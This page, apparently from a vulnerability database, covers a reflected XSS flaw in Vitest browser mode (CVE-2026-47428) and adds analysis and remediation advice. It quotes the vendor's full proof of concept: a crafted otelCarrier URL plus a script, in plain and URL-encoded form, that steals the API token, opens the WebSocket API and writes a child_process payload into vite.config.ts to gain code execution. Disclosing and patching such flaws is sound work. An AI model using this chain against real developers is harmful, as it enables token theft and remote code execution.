Skip to main content

Vitest EUVDEUVD-2026-44401

| CVE-2026-47428 CRITICAL
Cross-site Scripting (XSS) (CWE-79)
2026-06-01 https://github.com/vitest-dev/vitest GHSA-2h32-95rg-cppp
9.6
CVSS 3.1 · Vendor: https://github.com/vitest-dev/vitest
Share

Severity by source

Vendor (https://github.com/vitest-dev/vitest) PRIMARY
9.6 CRITICAL
AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

Primary rating from Vendor (https://github.com/vitest-dev/vitest) · only source for this CVE.

CVSS VectorVendor: https://github.com/vitest-dev/vitest

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

3
Source Code Evidence Fetched
Jun 01, 2026 - 14:51 vuln.today
Analysis Generated
Jun 01, 2026 - 14:51 vuln.today
CVE Published
Jun 01, 2026 - 14:12 nvd
CRITICAL 9.6

Blast Radius

ecosystem impact
† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth
  • 3 npm packages depend on @vitest/browser (3 direct, 0 indirect)

Ecosystem-wide dependent count for version 4.0.17.

DescriptionCVE.org

Summary

Vitest browser mode served /__vitest_test__/ with the otelCarrier query parameter inserted directly into an inline module script. Because this value was treated as JavaScript source rather than data, an attacker could craft a browser-runner URL that executes arbitrary JavaScript in the Vitest server origin.

https://github.com/vitest-dev/vitest/blob/cba2036a197ec8ed42c35a37db78ef07192202c7/packages/browser/src/node/serverOrchestrator.ts#L48

https://github.com/vitest-dev/vitest/blob/cba2036a197ec8ed42c35a37db78ef07192202c7/packages/browser/src/client/public/esm-client-injector.js#L41

The same generated page embeds VITEST_API_TOKEN, which is used to authenticate Vitest WebSocket APIs. Script execution in this origin can therefore recover the token and make authenticated API calls.

Impact

This issue affects users running Vitest browser mode. A victim must open or navigate to a crafted Vitest browser-runner URL while the Vitest browser server is running.

In the default local browser-mode setup, the token compromise can be chained to server-side code execution. A confirmed proof of concept used the authenticated browser API to write a payload into vite.config.ts. Vitest/Vite then reloaded the config, executing the injected config code in Node.

This is related in impact to GHSA-9crc-q9x8-hgqq: that advisory covered unauthenticated cross-site WebSocket access to Vitest APIs, while this issue uses reflected same-origin script execution to recover the API token that protects those APIs.

Proof of Concept

XSS

For a concrete reproduction, start browser mode in watch mode using the official Lit example:

sh
pnpm dlx tiged vitest-dev/vitest/examples/lit vitest-poc
cd vitest-poc
pnpm install
pnpm test

By default, Vitest serves the browser runner HTML and WebSocket API at http://localhost:63315.

Open the following URL:

text
http://localhost:63315/__vitest_test__/?otelCarrier=(alert(%22xss%20via%20otelCarrier%22)%2Cnull)

The otelCarrier query value is inserted into the generated inline module script as JavaScript source:

js
otelCarrier: (alert("xss via otelCarrier"),null),

Loading the page triggers the alert, confirming reflected script execution in the Vitest browser runner origin.

RCE via config write

A full local RCE proof can use the same injection point to recover window.VITEST_API_TOKEN, connect to /__vitest_browser_api__, and call triggerCommand("writeFile", ...) to modify the local vite.config.ts.

The PoC preserves the original config and prepends a Node-side payload. When Vitest/Vite reloads the changed config, the payload executes in Node.

This PoC imports flatted from a CDN to keep the payload compact.

<details><summary>Example script and encoded URL</summary>

ts
(setTimeout(async()=>{
  const s = window.__vitest_browser_runner__
  const { stringify, parse } = await import('https://cdn.jsdelivr.net/npm/flatted@3.3.2/+esm')
  const p = location.protocol === 'https:' ? 'wss:' : 'ws:'
  const q = 'type=orchestrator&rpcId=poc-' + Date.now()
    + '&sessionId=' + encodeURIComponent(s.sessionId)
    + '&projectName=' + encodeURIComponent(s.config.name || '')
    + '&method=' + encodeURIComponent(s.method)
    + '&token=' + encodeURIComponent(window.VITEST_API_TOKEN || '0')

  const ws = new WebSocket(p + '//' + location.host + '/__vitest_browser_api__?' + q)
  const pending = new Map()

  function call(m, a = []) {
    const i = crypto.randomUUID()
    ws.send(stringify({ t: 'q', i, m, a }))
    return new Promise((resolve, reject) => {
      pending.set(i, { resolve, reject })
    })
  }

  ws.onmessage = (event) => {
    const message = parse(event.data)
    const promise = pending.get(message.i)
    if (!promise) {
      return
    }
    pending.delete(message.i)
    if (message.e) {
      promise.reject(message.e)
    }
    else {
      promise.resolve(message.r)
    }
  }

  ws.onopen = async () => {
    const configPath = 'vite.config.ts'
    const original = await call('triggerCommand', [
      s.sessionId,
      'readFile',
      configPath,
      [configPath, 'utf-8'],
    ])

    const injected = `
import("node:child_process").then(lib => {
  lib.execSync('touch ./rce-poc')
  console.log('RCE success')
})
`
    await call('triggerCommand', [
      s.sessionId,
      'writeFile',
      configPath,
      [configPath, injected + original],
    ])

    alert('POC: vite.config.ts modified to trigger RCE on config reload')
  }

  ws.onerror = () => alert('POC: browser api websocket failed')
},0),null)

The following URL is the same script encoded as the otelCarrier query value:

txt
http://localhost:63315/__vitest_test__/?otelCarrier=(setTimeout(async()%3D%3E%7B%0A%20%20const%20s%20%3D%20window.__vitest_browser_runner__%0A%20%20const%20%7B%20stringify%2C%20parse%20%7D%20%3D%20await%20import('https%3A%2F%2Fcdn.jsdelivr.net%2Fnpm%2Fflatted%403.3.2%2F%2Besm')%0A%20%20const%20p%20%3D%20location.protocol%20%3D%3D%3D%20'https%3A'%20%3F%20'wss%3A'%20%3A%20'ws%3A'%0A%20%20const%20q%20%3D%20'type%3Dorchestrator%26rpcId%3Dpoc-'%20%2B%20Date.now()%0A%20%20%20%20%2B%20'%26sessionId%3D'%20%2B%20encodeURIComponent(s.sessionId)%0A%20%20%20%20%2B%20'%26projectName%3D'%20%2B%20encodeURIComponent(s.config.name%20%7C%7C%20'')%0A%20%20%20%20%2B%20'%26method%3D'%20%2B%20encodeURIComponent(s.method)%0A%20%20%20%20%2B%20'%26token%3D'%20%2B%20encodeURIComponent(window.VITEST_API_TOKEN%20%7C%7C%20'0')%0A%0A%20%20const%20ws%20%3D%20new%20WebSocket(p%20%2B%20'%2F%2F'%20%2B%20location.host%20%2B%20'%2F__vitest_browser_api__%3F'%20%2B%20q)%0A%20%20const%20pending%20%3D%20new%20Map()%0A%0A%20%20function%20call(m%2C%20a%20%3D%20%5B%5D)%20%7B%0A%20%20%20%20const%20i%20%3D%20crypto.randomUUID()%0A%20%20%20%20ws.send(stringify(%7B%20t%3A%20'q'%2C%20i%2C%20m%2C%20a%20%7D))%0A%20%20%20%20return%20new%20Promise((resolve%2C%20reject)%20%3D%3E%20%7B%0A%20%20%20%20%20%20pending.set(i%2C%20%7B%20resolve%2C%20reject%20%7D)%0A%20%20%20%20%7D)%0A%20%20%7D%0A%0A%20%20ws.onmessage%20%3D%20(event)%20%3D%3E%20%7B%0A%20%20%20%20const%20message%20%3D%20parse(event.data)%0A%20%20%20%20const%20promise%20%3D%20pending.get(message.i)%0A%20%20%20%20if%20(!promise)%20%7B%0A%20%20%20%20%20%20return%0A%20%20%20%20%7D%0A%20%20%20%20pending.delete(message.i)%0A%20%20%20%20if%20(message.e)%20%7B%0A%20%20%20%20%20%20promise.reject(message.e)%0A%20%20%20%20%7D%0A%20%20%20%20else%20%7B%0A%20%20%20%20%20%20promise.resolve(message.r)%0A%20%20%20%20%7D%0A%20%20%7D%0A%0A%20%20ws.onopen%20%3D%20async%20()%20%3D%3E%20%7B%0A%20%20%20%20const%20configPath%20%3D%20'vite.config.ts'%0A%20%20%20%20const%20original%20%3D%20await%20call('triggerCommand'%2C%20%5B%0A%20%20%20%20%20%20s.sessionId%2C%0A%20%20%20%20%20%20'readFile'%2C%0A%20%20%20%20%20%20configPath%2C%0A%20%20%20%20%20%20%5BconfigPath%2C%20'utf-8'%5D%2C%0A%20%20%20%20%5D)%0A%0A%20%20%20%20const%20injected%20%3D%20%60%0Aimport(%22node%3Achild_process%22).then(lib%20%3D%3E%20%7B%0A%20%20lib.execSync('touch%20.%2Frce-poc')%0A%20%20console.log('RCE%20success')%0A%7D)%0A%60%0A%20%20%20%20await%20call('triggerCommand'%2C%20%5B%0A%20%20%20%20%20%20s.sessionId%2C%0A%20%20%20%20%20%20'writeFile'%2C%0A%20%20%20%20%20%20configPath%2C%0A%20%20%20%20%20%20%5BconfigPath%2C%20injected%20%2B%20original%5D%2C%0A%20%20%20%20%5D)%0A%0A%20%20%20%20alert('POC%3A%20vite.config.ts%20modified%20to%20trigger%20RCE%20on%20config%20reload')%0A%20%20%7D%0A%0A%20%20ws.onerror%20%3D%20()%20%3D%3E%20alert('POC%3A%20browser%20api%20websocket%20failed')%0A%7D%2C0)%2Cnull)

</details>

---

AnalysisAI

Reflected cross-site scripting in Vitest browser mode (@vitest/browser) allows attackers to execute arbitrary JavaScript in the Vitest server origin by luring a developer to a crafted /__vitest_test__/ URL with a malicious otelCarrier query parameter. Because the same page embeds VITEST_API_TOKEN used to authenticate the Vitest WebSocket API, the XSS chains into full Node-side remote code execution by writing to vite.config.ts and triggering a config reload. Publicly available exploit code exists in the vendor's GHSA-2h32-95rg-cppp advisory, though no public exploit identified at time of analysis in CISA KEV.

Technical ContextAI

The vulnerability lives in @vitest/browser, the browser-mode runner for the Vitest JavaScript testing framework (used with Vite). In packages/browser/src/node/serverOrchestrator.ts and packages/browser/src/client/public/esm-client-injector.js, the server constructs an inline ES module script and concatenates the otelCarrier query parameter directly into JavaScript source rather than serializing it as data (e.g., JSON.stringify). This is a textbook CWE-79 (Improper Neutralization of Input During Web Page Generation) reflected XSS, but the impact is amplified because the same origin exposes VITEST_API_TOKEN in window scope and a privileged WebSocket endpoint /__vitest_browser_api__ that supports triggerCommand operations such as readFile and writeFile against the developer's workspace. Because Vite hot-reloads vite.config.ts in the Node host process, writing arbitrary code into that file yields code execution in Node.

RemediationAI

Vendor-released patches are @vitest/browser 4.1.6 for the stable 4.x line and 5.0.0-beta.3 for the 5.x beta line, so upgrade the @vitest/browser dependency (and align peer Vitest packages) to one of these fixed versions per the GHSA-2h32-95rg-cppp advisory at https://github.com/vitest-dev/vitest/security/advisories/GHSA-2h32-95rg-cppp. If immediate upgrade is not possible, do not run Vitest browser mode (especially watch mode) on shared or untrusted networks, keep the browser runner bound strictly to 127.0.0.1, avoid clicking untrusted links while the Vitest server is running, and consider closing the runner between sessions; these workarounds limit but do not eliminate exposure since any same-machine browser navigation to a crafted URL is still sufficient.

CVE-2024-55591 CRITICAL POC
9.8 Jan 14

FortiOS and FortiProxy contain an authentication bypass via the Node.js websocket module allowing unauthenticated remote

CVE-2014-7205 CRITICAL POC
10.0 Oct 08

Eval injection vulnerability in the internals.batch function in lib/batch.js in the bassmaster plugin before 1.5.2 for t

CVE-2025-59528 CRITICAL POC
10.0 Sep 22

Flowise version 3.0.5 contains a remote code execution vulnerability in the CustomMCP node. The mcpServerConfig paramete

CVE-2017-14849 HIGH POC
7.5 Sep 28

Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was inc

CVE-2017-5941 CRITICAL POC
9.8 Feb 09

An issue was discovered in the node-serialize package 0.0.4 for Node.js. Rated critical severity (CVSS 9.8), this vulner

CVE-2014-3744 HIGH POC
7.5 Oct 23

Directory traversal vulnerability in the st module before 0.2.5 for Node.js allows remote attackers to read arbitrary fi

CVE-2014-9566 HIGH POC
7.5 Mar 10

Multiple SQL injection vulnerabilities in the Manage Accounts page in the AccountManagement.asmx service in the Solarwin

CVE-2013-4660 MEDIUM POC
6.8 Jun 28

The JS-YAML module before 2.0.5 for Node.js parses input without properly considering the unsafe !!js/function tag, whic

CVE-2015-5688 MEDIUM POC
5.0 Sep 04

Directory traversal vulnerability in lib/app/index.js in Geddy before 13.0.8 for Node.js allows remote attackers to read

CVE-2026-45321 CRITICAL POC
9.6 May 12

Credential-harvesting malware compromised 84 versions of 42 TanStack npm packages on 2026-05-11 via chained GitHub Actio

CVE-2014-7192 CRITICAL POC
10.0 Dec 11

Eval injection vulnerability in index.js in the syntax-error package before 1.1.1 for Node.js 0.10.x, as used in IBM Rat

CVE-2013-4450 MEDIUM POC
5.0 Oct 21

The HTTP server in Node.js 0.10.x before 0.10.21 and 0.8.x before 0.8.26 allows remote attackers to cause a denial of se

Share

EUVD-2026-44401 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy